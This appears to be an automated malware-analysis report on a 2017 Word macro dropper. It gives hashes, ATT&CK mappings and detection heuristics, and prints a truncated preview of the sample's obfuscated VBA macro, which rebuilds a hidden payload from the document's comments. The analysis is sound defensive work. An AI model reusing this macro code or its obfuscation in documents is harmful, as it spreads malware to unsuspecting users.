Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 18205bcd34b93126…

MALICIOUS

Office (OLE)

78.5 KB Created: 2017-10-13 20:55:00 Authoring application: Microsoft Office Word First seen: 2017-10-28
MD5: 0c667daf691a8a705e83f46674c18efb SHA-1: 7cb3fa5500d7ddbfa9631df5d3dff5fd1e6d7cda SHA-256: 18205bcd34b931262d690ccb496261d364483bf7ccf112ae40c4b27e78597661
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is a malicious Office document containing a VBA macro. The macro utilizes a Shell() call, indicating an attempt to execute external code. The ClamAV detection name 'Doc.Dropper.Agent-6347330-0' further suggests its role as a dropper for additional malware. The macro's obfuscated nature and the presence of Shell() point towards a second-stage payload execution.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6347330-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6347330-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10376 bytes
SHA-256: 15ab6e4137803df5e601284f56da93131f07cf1a034066e1204b503362def4aa
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub zWlJprBaD()
LTUjjQGAU = "" + uBGphf + IzMwMr + TnEzmGha + vwCjjow + BmiIsz + BNdKPShA + HBhWalAr + VKrfvi + zvaNh + oMwZdXL + OwEciG + mQlmoWo + "coMments" + uBGphf + IzMwMr + TnEzmGha + vwCjjow + BmiIsz + BNdKPShA + HBhWalAr + VKrfvi + zvaNh + oMwZdXL + OwEciG + mQlmoWo + VRzpN + mZkZas + dLXUI + wsaTw + CCtrmToI
JzUIrsWcJI = Left(Right((jujWzZwjo(LTUjjQGAU)), Len((jujWzZwjo(LTUjjQGAU))) - 10413), 81)
HbHPwnc = Right(Left((jujWzZwjo(LTUjjQGAU)), 8312), 71)
CwDRw = Right(Left((jujWzZwjo(LTUjjQGAU)), 3482), 105)
zijNv = Mid((jujWzZwjo(LTUjjQGAU)), 3769, 11)
YdtrtWdHLh = Mid((jujWzZwjo(LTUjjQGAU)), 12736, 21)
rzQNKbRhH = Left(Right((jujWzZwjo(LTUjjQGAU)), Len((jujWzZwjo(LTUjjQGAU))) - 10549), 64)
qvhQcbZ = Mid((jujWzZwjo(LTUjjQGAU)), 13911, 111)
rmilDwjN = Mid((jujWzZwjo(LTUjjQGAU)), 3529, 21)
lWtQTIjVZli = Mid((jujWzZwjo(LTUjjQGAU)), 14474, 127)
zAoEOiJNsD = JzUIrsWcJI + HbHPwnc + CwDRw + zijNv + YdtrtWdHLh + rzQNKbRhH + qvhQcbZ + rmilDwjN + lWtQTIjVZli
twiNHsG = Left(Right((jujWzZwjo(LTUjjQGAU)), Len((jujWzZwjo(LTUjjQGAU))) - 4461), 34)
sHELXAAWHbO = Left(Right((jujWzZwjo(LTUjjQGAU)), Len((jujWzZwjo(LTUjjQGAU))) - 6914), 148)
tcOuELLs = Mid((jujWzZwjo(LTUjjQGAU)), 7933, 12)
VHTFRwwIa = Mid((jujWzZwjo(LTUjjQGAU)), 12171, 8)
IjADGJNVvcw = Mid((jujWzZwjo(LTUjjQGAU)), 5220, 124)
DCwNovo = Left(Right((jujWzZwjo(LTUjjQGAU)), Len((jujWzZwjo(LTUjjQGAU))) - 15671), 77)
cjDEuiY = Right(Left((jujWzZwjo(LTUjjQGAU)), 3978), 144)
oNZkvOq = Right(Left((jujWzZwjo(LTUjjQGAU)), 5086), 62)
zWfCX = Left(Right((jujWzZwjo(LTUjjQGAU)), Len((jujWzZwjo(LTUjjQGAU))) - 8050), 126)
ERACOizmIJ = zAoEOiJNsD + twiNHsG + sHELXAAWHbO + tcOuELLs + VHTFRwwIa + IjADGJNVvcw + DCwNovo + cjDEuiY + oNZkvOq + zWfCX
GkWqtqi = Right(Left((jujWzZwjo(LTUjjQGAU)), 3206), 8)
LLFsTXXz = Left(Right((jujWzZwjo(LTUjjQGAU)), Len((jujWzZwjo(LTUjjQGAU))) - 79), 95)
ftrzqvm = Mid((jujWzZwjo(LTUjjQGAU)), 14679, 43)
stNoDiIP = Right(Left((jujWzZwjo(LTUjjQGAU)), 882), 81)
lHLEiFowW = Mid((jujWzZwjo(LTUjjQGAU)), 1766, 64)
PJAnPZPm = Left(Right((jujWzZwjo(LTUjjQGAU)), Len((jujWzZwjo(LTUjjQGAU))) - 2642), 75)
WCJKIJVXITp = ERACOizmIJ + GkWqtqi + LLFsTXXz + ftrzqvm + stNoDiIP + lHLEiFowW + PJAnPZPm
zQHwd = Left(Right((jujWzZwjo(LTUjjQGAU)), Len((jujWzZwjo(LTUjjQGAU))) - 5951), 47)
BoJtch = Right(Left((jujWzZwjo(LTUjjQGAU)), 1399), 72)
jCKwGRuMB = Mid((jujWzZwjo(LTUjjQGAU)), 11436, 94)
ocfvk = Mid((jujWzZwjo(LTUjjQGAU)), 7588, 3)
ivpQKQwkVNA = Left(Right((jujWzZwjo(LTUjjQGAU)), Len((jujWzZwjo(LTUjjQGAU))) - 7516), 46)
bmsYRiOlj = Right(Left((jujWzZwjo(LTUjjQGAU)), 11005), 137)
FjXwl = Right(Left((jujWzZwjo(LTUjjQGAU)), 6653), 93)
ZqiDnqTrtCW = Mid((jujWzZwjo(LTUjjQGAU)), 15313, 64)
LkmiBjGdG = Right(Left((jujWzZwjo(LTUjjQGAU)), 1668), 2)
uqkKdt = Mid((jujWzZwjo(LTUjjQGAU)), 14280, 60)
AUbazYwCFak = Right(Left((jujWzZwjo(LTUjjQGAU)), 13427), 4)
nYtUutu = Right(Left((jujWzZwjo(LTUjjQGAU)), 6245), 148)
PSCYIwF = Mid((jujWzZwjo(LTUjjQGAU)), 13822, 24)
ACXvLk = Left(Right((jujWzZwjo(LTUjjQGAU)), Len((jujWzZwjo(LTUjjQGAU))) - 7647), 1)
GDhADVbuGS = Right(Left((jujWzZwjo(LTUjjQGAU)), 12656), 108)
jAFzkFIXYP = Mid((jujWzZwjo(LTUjjQGAU)), 8907, 52)
zMjKrsMIKFm = Mid((jujWzZwjo(LTUjjQGAU)), 11881, 89)
RqBkDrlRCO = WCJKIJVXITp + zQHwd + BoJtch + jCKwGRuMB + ocfvk + ivpQKQwkVNA + bmsYRiOlj + FjXwl + ZqiDnqTrtCW + LkmiBjGdG + uqkKdt + AUbazYwCFak + nYtUutu + PSCYIwF + ACXvLk + GDhADVbuGS + jAFzkFIXYP + zMjKrsMIKFm
iNPcWuLzt = Mid((jujWzZwjo(LTUjjQGAU)), 9625, 35)
ifijNRhG = Left(Right((jujWzZwjo(LTUjjQGAU)), Len((jujWzZwjo(LTUjjQGAU))) - 14950), 74)
owokLTLJ = Left(Right((jujWzZwjo(LTUjjQGAU)), Len((jujWzZwjo(LTUjjQGAU))) - 9878), 5)
XfmzmhzoLQ = Mid((jujWzZwjo(LTUjjQGAU)), 13145, 145)
ciBXJBDl = Mid((jujWzZwjo(LTUjjQGAU)), 14349,
... (truncated)

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